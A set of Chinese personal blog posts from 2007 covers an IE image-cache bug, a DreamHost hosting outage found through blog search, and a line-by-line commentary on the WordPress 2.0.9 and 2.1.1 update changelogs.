在网上搜了一下,发现这是个很有名的IE的bug,叫做“IE图片缓存bug”。据这篇《IE缓存策略的BUG》里介绍,在使用innerHTML一次性添加多个相同图片的时候,IE不会使用图片缓存而重复多次读取图片。而且,微软网站也有一篇文章提到了这个bug,而这篇文章里则提到使用background-image一样会造成问题。唉,IE可真麻烦啊。

解决办法倒是有,通过JavaScript就可以。参考人家的代码写了一段js放在header.php里,刷新页面,却发现不起作用。或许,innerHTML里的图片和CSS里的图片还是有区别的吧。用IRIS嗅探发现,IE会先执行开头的js代码读取图片,然后再执行body里的js代码,最后再解析CSS,再读取160次那个小图片。

最终,没办法了,只有不用这个图片了。可恶的IE,○○××

DreamHost的down掉

昨晚7点半多一点,收到WatchThatPage的报告,我的一个位于DreamHost主机的网站无法访问。当即打开pietty,连接超时。Ping一下,超时。开代理连,超时。

WatchThatPage位于国外,它报告连不上就应该不关GFW的事。上DreamHost主页,也打不开。再开Google翻译连DreamHost主页,也打不开。瀑布汗,连DreamHost主页都down掉了。想了一下,记得桑葚的Blog用的是DreamHost,连了下yanfeng.org,发现也连不上。

这时,我已经确定是DreamHost服务器整体出问题了。当时在想,估计是网络出了问题,空间上的文件应该没事吧。到Gmail里一看,只有海豚在线。问了他一下,他说他哪里也上不去。又上cnBeta查看消息,结果没找到,于是,算了,反正数据应该没事。

今天上午和中午调了一下CSS,还到WordPress网站操着蹩脚的英语报bug。下午突然想起DreamHost的事。上cnBeta,还是没消息。灵机一动,打开Google Blog Search,直接搜索"DreamHost",然后按日期排序,发现最近几个小时的文章有很多讲这件事。digg.com的这篇文章发表于中午12点,说DreamHost坏了23小时,超过35万网站的管理员正在担忧网站的访客。月光博客的《Dreamhost主机大规模无法访问》说是DreamHost机房停电,而停完电后又发现核心路由器故障,导致所有服务器无法连接互联网。还有一篇英文的《Downtime with Dreamhost》,指向DreamHost网站的关于此次事件的两篇说明文章。从这个页面学到了一个新句子,"Not to be rude, but I probably know more about this than you!",嘻嘻。

现在DreamHost已经可以连上了,只是以前刚连上会显示欢迎信息,现在没了,直接显示命令行提示符。

现在是反思时间。以前遇到突发事件时找消息都是通过搜索引擎,一般来说,百度会比Google更新得更快些,所以都去百度搜。后来,有计算机方面的事情就去keso啊,月光博客啊这些知名Blog网站上去看,一般都会有消息。06年年底台湾地震的时候,懂得了可以去cnBeta看消息。现在才发现,Blog搜索才是获取新消息的最好办法。世界上那么多blogger,一旦有事情发生,肯定有人利马写出文章来发布到Blog上,而Blog搜索引擎,比如Google Blog SearchTechnorati,会在几分钟内索引到这篇Blog文章。所以,从Blog搜索引擎里可以很快得到最新消息。怪不得那么多人说离不开Technorati呢,嘿嘿。现在我终于理解“Blog就是媒体”这句话了。

当然,作为blogger,也应该在最短的时间内把自己得到的消息发布到Blog上,以方便别人搜索。自己得到的新消息post一下就好,抄文章就算了,嘿嘿。

Update:今早起床时,突然想起在西安看到过的发电机。我在西安住的地方,按照深圳、上海、北京这些大城市的话来说,就是个城中村。村里电线密布,线路严重老化,再加上村民们靠出租房子都富裕了,空调越来越多,一到夏天就经常因为超负荷用电把变压器烧了。因为一年总是会烧几次,而且变压器一烧就是一天没电用,而且夏天高峰期时还会临时停一天的电以保证其他地区电力的供应。所以,沿街的餐馆和银行等都自备了发电机。发电机的样子和拖拉机的机头一样,应该是经过改装专门用来发电的,烧的是柴油,开起来声音比拖拉机还大。每到停电的时候,满大街都是突突突的声音,吵死人了。

呃,假如DreamHost也自备一些这样的发电机,就不用为停电而烦恼了,嘿嘿。不过声音是大了点,而且高楼大厦都是密封的,少有窗户,通过中央空调来使空气流通。如果用上很多发电机,不知道会不会使大厦里遍布二氧化碳。

为自己的想法小寒一个。

WordPress 2.1.1和WordPress 2.0.9发布

北京时间2007年2月21日凌晨3点57分,WordPress 2.0.9及WordPress 2.1.1发布

这次WordPress 2.0.9的更新只有两处:

  1. 用wp_specialchars()函数处理WordPress确认对话框的内容。这就是WordPress官方Blog所说的防范XSS跨站脚本攻击的地方。[4877]
  2. 在TinyMCE文件和TinyMCE帮助文件里输出正确的文件的编码方式。[4888]

两处小更新,没啥大变化。况且,现在很多人都转用WordPress 2.1了,而各大插件和模板也都陆续开始只兼容WordPress 2.1了。唉,2.0.9这么快发布,WordPress 2.0.10真的要来了。

WordPress2.1.1更新比较大。从2007年1月23日WordPress 2.1发布以来,这一个月的时间,WordPress开发组在忙于WordPress 2.2的同时也对WordPress 2.1做了许多改进。

  1. wp_list_bookmarks()函数里,当$title_li参数为空时,不输出<ul>标签。[4800]
  2. 一些日期格式现在可以被翻译了。包括页面管理页中页面最后更新日期、文章管理页中文章的发布日期、单篇文章的评论管理页(http://abc.com/wp-admin/edit.php?p=1&c=1)中评论的发布时间,以及常规选项页里UTC日期的格式。[4802]
    /wp-admin/edit.php文件里180行那儿,ryan只写了一个下划线。ryan犯这样的错误不是第一次了,而且这个错误从1月25日直到今天2.1.1发布了也没人发现,哈哈。
  3. 修正导致Ecto工具在刷新文章时由于把分类ID设置为整型而导致的错误。[4807]
  4. 读取模板文件的模板名称(Template Name)的时候,因为正则表达式多加了一个空格而导致出错。[4810]
    比如使用K2模板时,page-archives.php文件里写的是:"Template Name: Archives (Do Not Use Manually)",而最终匹配出来并显示的模板编辑器页面右侧的是" Archives (Do Not Use",都是因为那个空格的存在。
  5. 修正wp_create_file_in_uploads过滤器的参数错误。[4819]
  6. 修正匹配more标签的正则表达式。[4822]
    WordPress 2.1里加入的这个好玩的功能,你可以用<!--more 阅读更多内容吧-->这样的more标签来自定义“阅读更多”链接的文字。我觉得这个功能还是有bug,当more标签后面还有其他的html注释的时候,比如分页标签,正则的匹配还是有问题。<!--more-->hoho,<!--haha-->这样的代码会让“阅读更多”链接的文字变成“-->hoho,”。
  7. 添加遗漏的wp-scriptaculous.js文件。[4823]
  8. 修正read_private_pages权限检测错误的问题。[4825]
  9. 在TinyMCE文件和TinyMCE帮助文件里输出正确的文件的编码方式。同WordPress 2.0.9的更新内容。[4846]
    我在Firefox里没遇到过TinyMCE帮助文件有乱码的情况,不知道IE里如果。可能使用非UTF-8编码的Blog会受此bug影响吧。
  10. get_categories过滤器没有作用于从cache中读取的分类信息。[4849]
  11. 在wp_cron()函数里检测当前请求是否为“Blog地址/wp-cron.php”。[4850]
    该bug在某种特殊情况下会造成很大的流量。
  12. 确保存入cache里的没有引用。#3726 [4857]
    这一条很晕,Mark说,"In any case, I discovered the issue. get_category() tries to store an array of object references into the cache. The cache doesn't like this, and stores a blank string instead. So you get a blank string on the way out. Looking around the web, it seems like good old serialize/unserialize is the sure way to make sure you don't have any references.
    Object reference,对象引用。在Coolcode那儿找到对象引用和指针引用的资料,以及,“PHP在序列化时不记录数组中的对象引用。”所以,serialize后再unserialize一个数组就可以去除其中的对象引用了,哈哈。
  13. 只在page页检查page ID。[4864]
    没太看懂,不过2.0.4时期报的bug现在才有人管,看来开发组的大大们可能也没看懂。
  14. /wp-admin/index-extra.php文件里输出HTTP头标识页面的编码方式。[4871]
  15. 始终使用HTTP协议而非HTTPS协议访问TinyMCE的CSS文件。(Link to TinyMCE css file with http scheme on all server setups.)#3646 [4872]
    if ( $_SERVER['HTTPS'] )改成了if ( $_SERVER['HTTPS'] == 'on' )。说是很多人升级到WordPress 2.1时发现文章编辑框里的文字变得很小,而这个问题有些服务器上有出现,有些没有。这条更新解决了这个问题。看了下,我的服务器上没这个问题。怪不得WordPress 2.1刚发布时很多人抱怨编辑框里的文字太小,然后到处问WordPress 2.1降级到2.0.7的方法。
  16. 用wp_specialchars()函数处理WordPress确认对话框的内容。同WordPress 2.0.9的更新内容。[4876]
  17. 修正使用Autosave功能创建的无标题草稿的日期标题被添加了两个时差的问题。[4883]
  18. 修正fix_attachment_link()函数中的正则表达式错误。[4889]
  19. WordPress不再在文章的div标签里添加p标签。[4894]

更新多多,WordPress 2.1的使用者们应该抓紧升级了。WordPress官方Blog列出了WordPress 2.1升级到WordPress 2.1.1更新文件列表,照抄过来,按照字母顺序重新排了下序,又校对了一下,21个文件被修改,还有新增了一个wp-includes/js/scriptaculous/wp-scriptaculous.js文件,没错。

  • wp-admin/admin-ajax.php
  • wp-admin/admin-functions.php
  • wp-admin/custom-header.php
  • wp-admin/edit.php
  • wp-admin/index-extra.php
  • wp-admin/options-general.php
  • wp-admin/options-reading.php
  • wp-includes/js/scriptaculous/wp-scriptaculous.js
  • wp-includes/js/tinymce/tiny_mce_config.php
  • wp-includes/js/tinymce/tiny_mce_gzip.php
  • wp-includes/js/tinymce/wp-mce-help.php
  • wp-includes/bookmark-template.php
  • wp-includes/cache.php
  • wp-includes/capabilities.php
  • wp-includes/category.php
  • wp-includes/cron.php
  • wp-includes/formatting.php
  • wp-includes/functions.php
  • wp-includes/post.php
  • wp-includes/post-template.php
  • wp-includes/version.php
  • xmlrpc.php

WordPress 2.1.1,大餐不容错过。等到4月底又有WordPress 2.2用了,哈哈,2.2很强的说。